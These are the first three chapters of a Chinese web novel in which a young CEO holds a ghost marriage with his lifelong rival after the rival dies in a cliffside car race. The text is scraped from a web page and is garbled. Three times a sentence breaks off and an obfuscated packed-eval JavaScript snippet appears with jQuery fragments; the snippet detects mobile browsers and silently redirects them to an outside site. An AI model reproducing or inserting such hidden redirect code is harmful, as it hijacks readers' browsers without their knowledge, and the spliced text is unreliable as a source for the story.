《跟死对头冥婚后》
1. 第 1 章
“乖孙,你那冥婚对象奶奶帮你找到了!你猜怎么着?”
柳相宜正紧握着方向盘,面色沉凝,紧盯着路面,根本无暇顾及手机里的人在说些什么。
他正在飙车。
和他的死对头钟秦淮一起。
飘着雨丝的夜色里,一辆黑色保时捷,一辆黄色宾利,在蜿蜒的盘山公路上狂飙。
两辆车你争我夺,互不相让,一辆比一辆开得快。
直到转弯处,柳相宜瞅准时机,方向盘猛地一打,黄色宾利来了个极限大漂移,瞬间将那辆保时捷甩开几米远。
漂亮!
柳相宜那双标致的墨色长眉轻轻挑起,暂时领先了,他这才分神思索奶奶打来的这通电话。
小时候有个道长给他算过命,说要想活过25岁就得配一门冥婚。
虽然21世纪了不该信这些有的没的,但他爸,他爷爷,甚至往上数到他太爷爷,全都没活过25岁。
这么玄学的事儿,他信不信已经不重要了。
重要的是他奶奶深信不疑,拿着道长给的八字到处打听他那冥婚对象姓甚名谁。
找了十几年。
今天下大雨,这位老太太还坚持要出门帮他继续找。
要是能让奶奶不再操心,那就走个过场结个婚也行。
反正冥婚这种封建迷信,也就图个心理安慰,他不会当真,他那个死去的冥婚对象更不可能了。
柳相宜调整脸上的表情,唇角微弯,露出一个堪称乖巧的微笑。
奶奶耳朵不太行,他又给车子减速,好方便奶奶听得清:
“所以我那个冥婚对象是谁来着?”
奶奶闻言激动到声音发颤:
“他呀,叫……”
旁边突然传来“轰”的一声,瞬间盖过了奶奶那关键的后半句。
柳相宜:“!”
顿时心里骂脏话的声音跟这“轰”的声音一样大。
他分神往车窗外瞥了一眼:噪音是旁边那辆保时捷发出来的。
那小子追上来了!
超过柳相宜的瞬间,一截苍白手腕伸出来搭在了车窗上,朝后面的柳相宜勾了下手指。
小小的动作。
对柳相宜的伤害却很大。
太嚣张了!
柳相宜顾不得追问那个冥婚对象姓甚名谁了,挂掉电话,脚踩油门,迅速追了上去!
他到现在都不知道自己怎么惹到钟秦淮的,总之,从小学起,他就感觉自己被盯上了。
无论他做什么,钟秦淮都要跟他争个高低。
比成绩比排名也就算了,他在操场跑个步钟秦淮也要跑过来跟他比一比谁能跑第一。
他在食堂吃个饭那小子也要端着餐盘坐他对面跟他比一比谁吃得快。
就连他在路边喂流浪猫,钟秦淮也会想办法跟他比。
他也会跑过来喂,还会跟他争小猫吃谁喂的火腿肠多。
柳相宜:“……”
考上大学后,柳相宜本以为脱离苦海了,谁知刚到学校,那小子又在校门口等着了:
“比你早到53分18秒,所以开学第一天,你就要输给我了吗?”
柳相宜的胜负欲瞬间被点燃。
卷!
继续卷!
这场卷王之争,从小学延续到现在,两人不仅成了同行,彼此还是行业内最强的竞争对手。
就连这场飙车也来得莫名其妙,他好好地在路上开他的车,钟秦淮经过他旁边时,降下车窗。
跟刚才那样一只手搭在车窗外,又对他挑衅地勾了下手指。
柳相宜血压飙升,立刻追上去,然后就演变成了这样。
卷麻了。
关键是,他到现在都不知道自己是怎么惹上他的!
柳相宜越想越气,脚下油门狂踩!
追上了!
在跟那辆保时捷并行时,柳相宜也伸了一只手出去。
先是竖起大拇指。
然后,大拇指缓缓倒过来……
可以说十足的嚣张+羞辱了!
可惜盘山公路上没有路灯,他无法欣赏到那小子精彩的表情。
柳相宜表示遗憾。
然后继续狂踩油门。
超过那辆保时捷一大段距离后,柳相宜没有继续往前,而是方向盘一打,车子一个大转弯。
横停在了保时捷的正前方。
数十秒后,一阵轮胎与地面摩擦的刺耳声响过,那辆保时捷被成功逼停。
超跑引擎的轰鸣声停歇后,夜色里,只剩下滴滴答答的雨点,落在车顶上溅起细微声响。
那辆保时捷就停在一米开外,没有开灯,只能隐约看见车子里一个模糊的黑影。
但即便看不清那人的表情,柳相宜也能感觉到他正在盯着自己。
如果说讨厌钟秦淮需要理由的话,那么,钟秦淮看他的眼神便是其中之一。
学生时代在食堂吃饭、在走廊放风,在教室里午睡醒来,只要他一回头,一对视,总能看到钟秦淮在盯着自己。
盯他跟盯猎物一样。
小时候就是这样,长大了,那种诡异感更为强烈。
就像现在,钟秦淮不说话,坐在漆黑的车子里一直盯着他,盯得柳相宜眉毛一皱:
这小子越来越不正常了!
就在这时,钟秦淮终于动了,一截手腕伸出来搭在了车窗上。
手指骨节分明,仿佛蕴藏着某种力量感;又纤长苍白,在夜色里,像是白瓷雕刻出来的艺术品。
柳相宜皱起的眉毛又不自觉舒展了。
他是个手控,各式各样的手都看过,可这么一双完美的手,竟然长在这小子身上!
就……好恨。
那只手不知是有意还是无意,搭在车窗上没有收回去,反而曲起手指,有一搭没一搭地敲着。
动作漫不经心的。
知道这是在等自己过去的意思,柳相宜被他给气笑了。
凭什么叫他过去?
他偏不!
柳相宜淡定地坐在车子里等着,实在忍不住,余光又偷偷斜瞟那只漂亮的手,一边在心里数秒。
“三”
“二”
“一”还没数完,手机就响了。
响也不着急接,响了会儿,柳相宜这才慢悠悠地接起。
下一秒,电话里就飘出一道散漫的轻笑声:
“柳总有本事把我逼停,怎么没本事过来?是不敢吗?”
柳相宜咬牙微笑道:
“那请问钟总怎么不自己过来?是没长腿吗?”
连“你过去还是我过来”这种小事两人都要较量一番。
都怪钟秦淮!
柳相宜眸子微眯,望着对面那
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392246|168591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
辆车子里的人。
要不是那小子从小到大一直跟他比,他也不至于养成这破毛病了。
柳相宜把这么多年藏在心里的那个疑问问出来了:
“我说钟总,我应该没有得罪过你吧?你一直这么针对我,是不是有点不太礼貌?”
电话那边悠悠道:
“柳总这么想知道啊?”
又意义不明地哂笑了一声:
“那柳总有本事就赢我啊,赢了我就告诉你……”
这欠揍的语气!
柳相宜挂断电话,将车子倒回到与那辆保时捷并行,然后降下车窗。
他没说话,只朝对面望了一眼,对面的车子里没开灯,钟秦淮整个人隐没在黑暗中。
柳相宜看不清他,但能感觉到他也正在同一时间望向自己。
下一秒,两人同一时间脚踩油门,引擎发出轰鸣声。
两辆车默契地一同飙了出去!
“轰——”
“轰——”
引擎声震耳欲聋,大到柳相宜除了这个声音,其他都听不见了。
柳相宜将油门踩到底。
直到导航声音提醒:
“前方危险路段……”
前方不远处就是断崖。
柳相宜虽然胆大但心细,眼看终点即将到达,他开始减速,防止车速过快冲出悬崖。
而且,他分神从后视镜瞥了一眼,保时捷虽然紧随其后,但始终落后他一个轮胎的距离。
他虽然减速了,但他料想钟秦淮也不敢加速,毕竟前边就是断崖,所以这场较量他赢定了!
就在柳相宜减速的下一秒,紧随其后的保时捷仿佛瞅准了这个时机,猛地加速了!
“刷”地一下。
保时捷从他旁边疾驰而过。
柳相宜(瞳孔地震):“!”
这小子疯了吗!
开这么快很容易……
柳相宜还没腹诽完,就眼睁睁地看着那辆保时捷冲出了断崖。
在半空中划出一道抛物线。
接着快速坠落下去。
几秒后,悬崖下传来“轰隆”一声巨响,将柳相宜震得回了神。
他猛地踩住刹车。
残月从乌云里出来,一丝月光洒在那辆孤零零的黄色宾利上。
除了这点鲜艳的色彩,周围全被夜色吞噬。
雨停了。
风停了。
断崖上一点虫鸣鸟叫都没有。
太安静了!以至于让柳相宜产生了一种被世界抛弃了的错觉。
没有了超跑引擎的轰鸣声,当奶奶的电话再次打来时,柳相宜终于能不受干扰地听清楚了:
“乖孙,刚才电话怎么挂了?”
奶奶疑惑地问他,不等柳相宜回答,又赶紧激动地说回正事:
“你那个冥婚对象呀,他叫钟秦淮,跟你同年同月同日生,你俩八字绝配。”
柳相宜:“?”
奶奶兀自沉浸在欣喜中:
“冥婚冥婚,本以为乖孙得守活寡呢,他居然还没死……”
“是个大、活、人!”
柳相宜:“……”
奶奶还是高兴得太早。
他这冥婚对象刚死。
以及……
他刚才问钟秦淮的那个问题,他大概永远也不会知道答案了。
2. 第 2 章
农历三月三,祀鬼节,大凶。
柳相宜要结婚了。
和鬼。
冥婚当晚阴风阵阵,风声呼啸而来,仿佛上千只惨死的冤魂,在寂静的深夜里发出凄厉的呜咽。
“呼——呼——”
阴风一股接一股,不断拍打在玻璃窗户上,仿佛上千只手在争先恐后地用力敲窗。
“砰砰砰!”
声响越来越急,越来越大。
柳相宜左眼皮直跳。
这是跳财还是跳灾来着?
没等他琢磨清楚,“砰”地一声,窗户被吹开,一股阴风灌进来。
他被吹得眯了下眼睛,等他再次睁开时,便看到了诡异的一幕:
灵堂高挂的“奠”字纹丝不动。
悬挂的挽联也纹丝不动。
摆在地上的花圈也是如此。
但窗户上贴着的那对“囍”字、从灵堂门口一路铺设的红地毯,全都被吹飞出了窗户。
就连供桌上燃着的那对喜烛也“咻”地一下被吹灭了。
灵堂瞬间漆黑不见五指。
柳相宜:“……”
过分啊。
这风是长了眼睛吗?把他准备冥婚的那些玩意儿全都吹跑了!
但没事儿,反正就走个过场而已,没有“囍”字这婚也能成。
柳相宜把窗户重新关紧,又摸出打火机将供桌上的喜烛点上。
惨红的烛光再次亮起,斜洒在供桌上摆着的遗像上。
照片上的青年有一双狭长的丹凤眼,眼尾微挑,透着一股与庄严肃穆的遗照很是违和的散漫。
钟秦淮已经死七天了。
今天是他的头七。
到现在,柳相宜也说不清自己是什么感受,太复杂了!
心里跟被台风刮过一样混乱。
但死对头这种关系,默哀七天够尊重了,再多就超过了。
柳相宜定了定神,视线从那张遗照缓缓下移,落在了搁在供桌上的那支手机上。
钟秦淮死后的第二天,他接到派出所打来的电话:
“死者的手机里就存了你一个人的号码,你把它领回去吧。”
本来想把手机封存起来的,但当道士的二哥说,冥婚需要把他的某样东西,和钟秦淮的某件遗物一起烧了才能成。
并且,供桌下的火盆早已装好炭火,在劈里啪啦地燃着。
柳相宜用剪刀剪了一小撮头发下来,装在一个透明小袋子里,放在那支手机旁。
一切准备工作就绪后,他看了一眼那张遗照,唇角弯起:
“钟总,活着的时候总跟我作对,死了帮我个小忙不过分吧?”
说到这,柳相宜顿了下,自嘲地笑了笑:
“算了,问也白问,别人冥婚也不会问鬼愿不愿意,反正都是活人说了算,死了的就老实接受吧。”
话音刚落,柳相宜的手机就响了,他从口袋里摸出手机一看:
是个陌生号码。
他没多想就接了。
下一秒,一道懒洋洋的声音就从手机里飘出来:
“柳总单方面决定跟我冥婚,是不是不太礼貌?”
柳相宜瞬间愣住。
这阴阳怪气的语气,这散漫的腔调是钟秦淮没错了!
但那小子已经死了!
以现在的黑科技,想要装神弄鬼太简单了!ai合成一下就能骗到人,就是不知道这骗子从哪里搞到的钟秦淮语音。
柳相宜眸子微沉。
他生气的时候也喜欢笑,只是微笑里带着浓浓的嘲讽:
“不好意思,我这人从不信邪,所以在我面前装神弄鬼是没用的。”
那边沉默片刻,随即笑答:
“既然柳总这么迷信科学,那待会儿可要把手机拿稳了。”
柳相宜:“?”
下一秒,细微的声音陡然在灵堂里响起,像薯片包装袋里藏进了一只老鼠,现在那只老鼠想要钻出来,便一点点啃食包装袋的声音。
“嘶嘶嘶——”
在黑暗中格外清晰,听得柳相宜手臂上的鸡皮疙瘩都要起来了!
他迅速环视一圈。
灵堂没开灯,只亮着两根喜烛,除了供桌这一小片区域有点光亮外,其他区域一片黑暗。
“嘶嘶”声还在继续。
这声音哪来的?
柳相宜在灵堂里到处搜寻。
突然他脚步一顿。
这玩意儿……好像就在他身边。
甚至,就是他手里紧握着的那支手机里发出来的!
意识到这点,他后背发凉,深吸一口气,鼓起勇气低头一看:
手机屏幕正在被一点点撕开。
像是有什么要从里边钻出来。
柳相宜:“!”
得立刻把手机扔了!
他刚一抬手,便听见“咔嚓”一声,是手机屏幕裂开的声音。
下一秒,手腕就被突然攥住!
柳相宜整个身体瞬间僵住。
好凉……
像被一条蛇缠上了手腕,还是从沼泽地里爬出来的那种,带着湿漉漉的凉意,那种冰凉黏湿的诡异感太怪了!
柳相宜不敢动。
完全不敢动。
直到数秒后,他深吸一口气,缓缓低下头一看,愕然发现:
攥住自己的竟是一只手。
纤长苍白,甚至能隐约看到手背上微透出来的幽青色血管。
漂亮得像骨瓷艺术品!
但这只漂亮的手,是从手机里钻出来的,这就很惊悚了!
更惊悚的是,这双手他曾经暗戳戳地欣赏过不止一次。
没人比他更熟悉了。
这是钟秦淮的手。
柳相宜的手微微发抖。
似乎感受到了他的恐惧,攥住他的那只手陡然化成一缕黑雾。
钻回手机里。
紧接着,手机里飘出轻笑声:
“柳总要是还不信,需要我再表演一个更不科学的给你看看吗?”
柳相宜破防:“你不是死了吗?”
坟是他埋的!
葬礼是他搞的!
连遗照都有了!
死得够够的。
“所以柳总怕了吗?”
手机里飘出一道戏谑的声音:
“那在胆量这件事上,柳总是准备输给我了是吧?”
柳相宜:“?”
不可置信!
已经卷到这种程度了吗?
死了都还要跟他继续比?
手机里还在悠悠道:
“啊,我忘记了,上次在断崖上飙车我就赢了,所以在胆量这方面,柳总已经输了。”
你是赢了。
但你也死了。
提起那场较量,柳相宜至今还心有余悸。
这小子太疯了!
柳相宜感觉自己也快要疯了!
他伸手掐了掐自己的脸。
好疼。
不是幻觉?
完了。
他24年坚信的唯物主义,也被那股阴风刮得摇摇欲坠了。
柳相宜闭了闭眼,将各种复杂的心绪强行压下去。
鬼又怎样?
无论如何他今晚也要冥婚!
柳相宜再次睁开眼,脑子里已经冷静下来了。
他没再废话,把自己那只手机扔到一旁,迅速拿起钟秦淮的那支手机和他那缕头发扔进了火盆里!
手机坠落进火盆。
眼看就要被燃着的火苗烧到时,那只手机突然停止了坠落。
像是被按下了暂停键。
接着,又从火盆上空飘走了。
柳相宜:“?”
二话不说立刻扑过去,手机却长眼睛了似的,躲过了柳相宜的手,又往灵堂的阳台外飘去。
“怎么,钟总不敢和我结婚啊?”
柳相宜一边朝手机的方向走去,一边微笑开口:
“既然刚才钟总提到胆量……”
说到这的时候,柳相宜离那个手机很近了,就一米远的距离。
虽然那只手机又往外飘了一点,已经飘出阳台了。但柳相宜测算了一下距离,伸手够一够,是够得着的。
柳相宜又向前走一步:
“……那在胆量这件事上,钟总输了是吧?”
就现在!
不等手机里的人回答,柳相宜再次扑过去,伸手一捞。
抓到了!
还没来得及高兴,就听见“咔嚓”一声响,阳台栏杆断裂了!
柳相宜:“!”
这才后知后觉,因为刚才伸手去够手机,他整个身体的重心都靠在了栏杆上。
栏杆断裂后的下一秒。
他整个人就栽了下去。
柳相宜:“!”
这个灵堂可是在大厦的24层!
呼呼的风声在他耳边呼啸。
柳相宜能清晰地感觉到自己的身体在不断下坠。
下坠的过程中,手一松,刚才抓到的那只手机也跟着掉了下去。
完了!
今晚他不仅冥不了婚,他自己也得死在这了。
失重感和恐惧感从心底迅速蔓延,柳相宜下意识闭上了眼。
过了会儿,下坠忽然停了!
耳边的风声也陡然歇了。
柳相宜:“?”
冰凉凉的。
冰得柳相宜瞬间睁眼,自己竟然跌入了一个怀里。
再抬头一看,正对上一双狭长的丹凤眼。
那双眸子眼尾微挑:
“柳总要和我比胆量是吧?”
柳相宜:“?”
他瞬间有种不好的预感。
下一秒,环住柳相宜腰间的双手一松。
柳相宜:“!”
这个疯子!
柳相宜暗骂了一句。
又往下掉了。
数十秒后砰地一声,水花四溅,柳相宜掉进了大厦下边的泳池里。
柳相宜:“?”
他那颗快要跳出嗓子里的心又放回去了。
幸好幸好。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392247|168591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
这高度没把他砸死。
他从泳池里钻出来,一抬头就看到钟秦淮了。
他站在泳池边上,居高临下地俯视着池子里的自己。
容貌和生前没什么变化。
就是看着皮肤白了些。
本来就是冷白皮,此刻又沐浴在月光下,像一尊艺术家雕刻出来的白色雕像。
身后那栋24层的大厦投下来一个巨大黑影,把他衬得苍白如鬼魅,散发着鬼气森森的邪性。
直到这一幕,柳相宜才有一种“这小子居然真的变成鬼了”的真实感。
但谁叫他八字跟自己配呢?
就算变成鬼了,也只能硬着头皮跟他冥婚了!
柳相宜眸子里精光一闪。
朝钟秦淮游过去,他趴在泳池边,抬头对钟秦淮露出一个挑衅的微笑:
“刚才钟总考验过我的胆量了,那钟总呢?敢不敢和我冥婚?”
他刚说完,就看到钟秦淮表情有一瞬间的微妙。
“钟总不会是不敢吧?”
柳相宜继续挑衅:
“虽然上次在断崖上飙车我没赢,但也不代表我就输了,毕竟谁都有害怕的事儿,比如我怕死,也比如……钟总害怕跟我结婚?”
说完又开始在心里数秒。
三。
二。
“一”还没数完,柳相宜就满意地听见钟秦淮再次开口。
“柳总之前接受杂志采访时说什么来着?说自己是事业脑,不准备谈恋爱也不打算结婚……”
柳相宜:“?”
大概是预判到了柳相宜的健忘,钟秦淮往泳池边的躺椅上一坐,懒洋洋地补充道:
“2018年3月24日晚上。”
他甚至精确到了秒:“8点23分15秒开始的那场媒体采访。”
柳相宜:“?”
2018年?
这都多少年前的事儿了?
钟秦淮对此却颇为得意:
“证明在记忆力这件事上,柳总输给我了。”
柳相宜:“……”
“所以柳总突然想结婚,还是跟我这个死掉的人,到底有什么目的呢?”
钟秦淮语气散漫,但那双狭长的凤眸却定定地望着柳相宜。
柳相宜:“……”
说小时候道士给他算过命,想要活过25岁就得配一场冥婚,而钟秦淮与他同年同月同日生,八字绝配,这理由听起来就很离谱。
见柳相宜沉默,钟秦淮确信自己猜对了,他嘴角漾起一丝弧度:
“柳总,在了解对手这件事上,你又输了。”
柳相宜:“……”
这得意的语气!
柳相宜双臂一撑,整个人从泳池里利落地翻上来了。
这回轮到他居高临下地俯视钟秦淮了。
“既然了解我,那钟总想必知道,我柳相宜想要做的事还没有做不成的。”
四目相对,仿佛在寂静的深夜里陡然爆发了一场无硝烟的厮杀。
无声较量了几秒后,钟秦淮嘴角缓缓勾起,他将那支手机举起。
柳相宜眸子一沉。
竟是自己刚才坠楼时手一松,掉下去的那支属于钟秦淮的手机。
钟秦淮扬了扬手上那支手机:
“柳总刚才一直想要这个吧?少了这样东西,柳总还打算怎么跟我冥婚?”
“这你就别管了。”
柳相宜微微一笑,笑里带着一丝威胁的意味:
“死了就给我老实一点。”
钟秦意义不明地哂笑了一声:
“只听说鬼吓人的,还没听说人吓鬼的,柳总,你对鬼是不是太不尊重了点?”
柳相宜:“……”
还是办正事要紧。
柳相宜不再嘴炮,扭头就走。
湿漉漉地回到灵堂,火盆里的炭火还没熄,仍旧在燃着。
柳相宜左手摊开。
手掌心上躺着一根棒棒糖。
那小子打小就喜欢这玩意儿,小时候衣兜里每天都装好几颗,长大了也没改掉这习惯。
刚才跌入钟秦淮的怀里时,柳相宜悄悄从他衣兜里摸出了一颗。
柳相宜转了转手上的那根棒棒糖,墨色长眉微微扬起。
这是证据。
证明在了解对手这件事上,他并不输给钟秦淮。
他把这根棒棒糖和他自己的头发放一起,正准备投入火盆时,柳相宜迟疑了一下。
本以为冥婚也就是走个过场,好让奶奶不操心而已。
但在今晚看到鬼手从手机里钻出来,又真正看到钟秦淮这只鬼出现在他面前,柳相宜又犹豫了。
这冥婚不会是玩真的吧?
他给当道士的二哥打电话,把今晚的经历告诉他之后,二哥柳宴池豪迈地告诉他:
“冥婚之后,你俩就从此绑定了,以后他随叫随到。”
还有这种好事?
那必然要狠狠使唤了!
柳相宜二话不说,把那两样东西一起投进了火盆里。
3. 第 3 章
第二天,柳相宜醒来时,发现手腕上多了一样东西。
一根细细的红线,若隐若现,但始终缠绕在自己的手腕上。
柳相宜:“?”
脑子里迅速回忆起了昨晚灵堂里发生的一切。
这冥婚是……成了?
环视一圈,灵堂看起来就跟个普通的灵堂一样,只有阳台断裂的栏杆,显示昨晚发生的并不是一场梦。
此时清早,阳光从云层里洒落下来,底下的泳池波光粼粼。
这个灵堂并不是在殡仪馆,而是设置在柳氏大厦的顶层,也就是第24层。
在昨晚之前,这本来是总裁办公室,也就是他办公的地方。
他二哥柳宴池说,这栋柳氏大厦是整个柳城风水最好的地方,这一层又是24层,叫他把灵堂设在这,冥婚才能成。
正好办公室里边还有一个休息室,平时加班太晚,柳相宜都是直接睡在这了。
昨晚也是。
他休息室里备了些面包,洗漱完,五分钟解决掉早餐,正好9点,员工们也开始陆陆续续地进入柳氏大厦上班了。
柳相宜抽空开了个早会,今天有个合同要签,本来约好的10点,但柳相宜抬起手表一看:
10点过1分了。
不等了。
他走出会议室,坐电梯下达一楼大堂。刚走出电梯,就看到一个中年男人从大堂门口冲了进来:
“不好意思啊柳总我迟到了!”
他说着,并朝柳相宜的方向小步跑来,但很快被他身边的保镖给拦下了。中年男人一边试图突破保镖朝柳相宜靠近,一边高喊:
“柳总,签个合同也就几分钟而已,我就耽误您几分钟!”
柳相宜闻言停下脚步,嘴角上扬,露出一个礼貌的微笑。
中年男人见状,眼睛刷地一下亮了,随即,就听见柳相宜微笑道:
“不好意思,我的时间很宝贵,你浪费不起。”
说完,转头继续往大堂门口走去。
大概是柳相宜彬彬有礼的微笑,让张总以为还有转圜的余地,他蹭地一声跪下了,对着柳相宜的背影开始卖惨:
“柳总!这份合同对我公司很重要,我上有老下有小的……”
谁知柳相宜头也不回。
他姿态挺拔,步伐利落,脚步不带一丝犹豫地离开了。
张总瞬间破防!
他一骨碌爬起来,指着柳相宜离去的背影破口大骂:
“你他妈到底在拽什么?再有钱又怎样,还不是个短命鬼?!”
一楼大堂进进出出的柳氏员工听见这一句,表情纷纷变得古怪,大概都联想到了同一个传闻。
传闻柳家人中了诅咒。
即便有钱到整座城市都改叫“柳城”,但其后代子孙却没人能活过25岁。
柳城的这个顶级豪门,是一个坐拥金山,却无福享受的“悲情家族”。
想到这,张总心里顿时平衡了,又故意对众人大声道:
“可不得这么赶时间么?毕竟也是没几年活头了……”
声音大得走出老远了,秘书都还能听见,他回头看了一眼,又赶紧跟上柳相宜的步伐:
“柳总,这人太不讲道理了!签合同这么大的事儿还敢迟到,迟到了还敢怨我们,要不要叫保镖把那人赶出去?”
“不用。”
柳相宜抬手打断了秘书的话:
“这种人不值得我浪费时间。”
说话时,脚步甚至都没停。
那位张总有句话说的没错,他确实赶时间,因此每分钟都不能浪费。
就连秘书开车送他去清风观的路上,他还在抽空看公司文件。
直到秘书的声音响起:
“柳总,清风观到了。”
清风观,柳城香火最旺,名气最大的玄学圣地,他二哥柳宴池就在里边当道士。
柳相宜熟门熟路地进去了,刚走到丹房门口,里边就“砰”地一声。
他推门一看,是丹药炉子炸了。
幸好炉子旁边的青年反应快,一下蹦出老远,扭头看到门口的柳相宜后,他蹲下身,在一堆碎片和灰土中扒拉出了几颗绿色大药丸:
“三弟来得正好!你二哥我呕心沥血,花了七七四十九天终于把延年益寿丹练出来了!”
柳宴池朝他招手:
“来吃吃看!每天吃一颗说不定也能活过25呢!”
柳相宜:“……”
扫了一眼二哥手掌心上躺着的药丸,方形的,还是那种诡异的绿色。
“婉拒了。”
柳相宜温和地笑着走进来,往旁边的椅子上一坐,抬手给柳宴池展示自己手腕上的那道红线:
“这样冥婚就算成了吗?”
柳宴池点头:“成了!”
柳相宜松了一口气,又问:“所以咱们就能活过25了吗?”
柳宴池摇头:“那不能。”
“昨晚那场冥婚只是第一步,把你俩绑定了,从此你俩身上的阴阳之气可以互相转换了而已。”
“师尊老人家说,我们柳家祖辈大概做了什么缺德事,被人下了诅咒,导致咱们柳家人生来就极阳体质,身体承受过多的阳气,就容易出事……”
柳相宜闻言想起了他的爷爷。
他没见过,但听奶奶说,他爷爷跟他一样有失眠症,有次凌晨三四点了还出去遛弯,在河边散步时不小心跌进河里淹死了。
“所以需要吸那只鬼的阴气,如果最后能达到阴阳平衡,柳家的诅咒也就解了,咱们才能活过25岁。”
听起来倒不难。
那么问题来了!
柳相宜问:“怎么吸阴气?”
柳宴池抬手指了指电视。
丹房里除了一个炼丹炉,还摆着一台液晶电视,供柳宴池炼丹无聊时娱乐。此时,电视上正在播放一部爱情剧,正播到男女主拥吻的那一幕。
柳相宜:“!”
要他跟钟秦淮这样?
柳相宜的视线重新转移到了柳宴池手里的那几颗绿色丹药上。
二哥的诡异药丸固然可怕,但跟钟秦淮接吻更令人惊悚。
柳相宜二话不说,夺过柳宴池手心里那几颗绿油油的丹药:
“我还是吃你这个延年益寿丹吧,说不定也能活过25。”
说完作势就要一把吞,被柳宴池拼命拦住:
“三弟!虽然我这延年益寿丹确实是玄学届惊天地泣鬼神的天才之作,但我毕竟道行浅,吃这个能不能活过25还不一定,但你这个冥婚可就不同了!”
他一把将柳相宜手里的丹药又抢了回来:
“你这个冥婚和八字可是咱们师尊亲自测出来的,师尊他老人家的这个方法肯定行。”
柳相宜:“……”
他二哥口中的那位师尊是玄学大佬,那位道长曾说过,这桩冥婚,是能打破他们柳家诅咒的唯一希望。
之前他只当是封建迷信,但在昨晚亲眼看到钟秦淮那只鬼之后,只能说世界之大,无奇不有。
柳宴池又提醒他:“三弟,再过三个月大哥就25了,也就是说……”
柳相宜闻言脸色一黯。
也就是说按照传闻中的那个柳家人诅咒,大哥最多只能活3个月了。
就像他爸,死在了25岁生日的前一天。
柳相宜眸子微沉,随即又扬了扬手腕上的那道红线,唇角弯起:
“二哥放心,不就吸阴气么?我一个月就能搞定。”
虽说一个月内搞定一只鬼,那只鬼还是自己的死对头,在旁人看来不可能。
但他这位弟弟一向说话算数。
无论做什么事,他说什么时间就是什么时间,对时间的把控,精准得跟秒表一样。
柳宴池捏了捏他肩膀:
“没事儿,你二哥我最近也在加紧炼丹,咱俩双管齐下,定能助大哥活过25!”
柳相宜瞅了瞅二哥手里那几颗丹药,他之前试吃过几次,吃完不是流鼻血就是浑身发热,总之不靠谱。
还是吸阴气吧。
最起码比二哥的丹药安全。
那问题来了:如何既能吸到阴气,还能不被那小子察觉到呢?
柳相宜一边思考,一边还不忘工作,直到晚上十点,和客户谈完工作后,柳相宜驱车离开了客户公司。
当车子拐到僻静的江畔公路上,他突然发现方向盘不听使唤了。
柳相宜:“?”
他试图转动方向盘,但任凭他双手怎么用力都转不动。
柳相宜当机立断狂踩刹车。
谁知刹车竟也失灵了!
他眼睁睁地看着车子被某种无形力量操控了似的,笔直地往前开。
前方不远处就是宽阔的江面。
眼看车子就要冲进江里了,柳相宜决定跳窗,他扭头狂按那个降下车窗的按钮,但车窗却仍旧纹丝不动。
真是见了鬼了!
这时,车子已经冲出了马路,就在柳相宜以为要连车带人坠进江里的时候,车子又猛地一停!
柳相宜:“?”
夜深人静的江边,出现了骇人的一幕:一辆黄色宾利,车子前半段已经悬空了,底下便是暗流涌动的江水,一股阴风刮来,车子摇摇欲坠。
不敢动。
完全不敢动。
柳相宜甚至有种错觉,只要他稍稍歪下头,车估计就得掉江里了。
“柳总对这种死法满意吗?”
一道幽幽的声音蓦地响起。
是在车后座!
但柳相宜不敢回头,生怕脖子一扭回去,悬空的车子就失去平衡掉下去了,他只能缓缓抬头,透过车子内的后视镜瞥一眼。
车子里没开灯,只能隐约看见车后座有个黑乎乎的影子。
手肘支在车窗边缘,因为手掌抬起,托着下巴的缘故,黑色袖口微微滑落,露出一截苍白的手腕。
手腕上竟也多了一样东西。
是红线。
跟自己的一模一样。
柳相宜:“……”
突然心虚了一秒。
钟秦淮坐在车后座,微微歪头,好整以暇地望着柳相宜:
“我一向善解人意,柳总要是不喜欢死在江里,也可以自己挑个喜欢的地点……”
柳相宜轻咳一声。
自己昨晚单方面跟他冥婚的事儿,这小子估计已经察觉到了。
生气也正常。
柳相宜表示理解,但在钟秦淮面前是绝对不能露怯的!他强装淡定:
“我知道钟总可以随便弄死我。但再厉害的鬼也不是无所不能,说不定钟总也有用得上我的地方,比如,我可以帮钟总选择下葬的地点……”
柳相宜说完,透过后视镜看到钟秦淮懒散笑答:
“那正好,柳总到时候也顺便给自己挑个下葬的地点吧。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392248|168591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
言外之意是,等他下葬了,还是不会放过柳相宜。
柳相宜:“……”
但能拖一时是一时。
第二天,柳相宜就根据钟秦淮的意思,驱车去了一个叫雾山的地方。
来之前他搜过,雾山在柳城郊区,山脚下有个村子,叫钟家村。
柳相宜找到村长谈下葬一事,村长一听是钟秦淮,脸色大变:
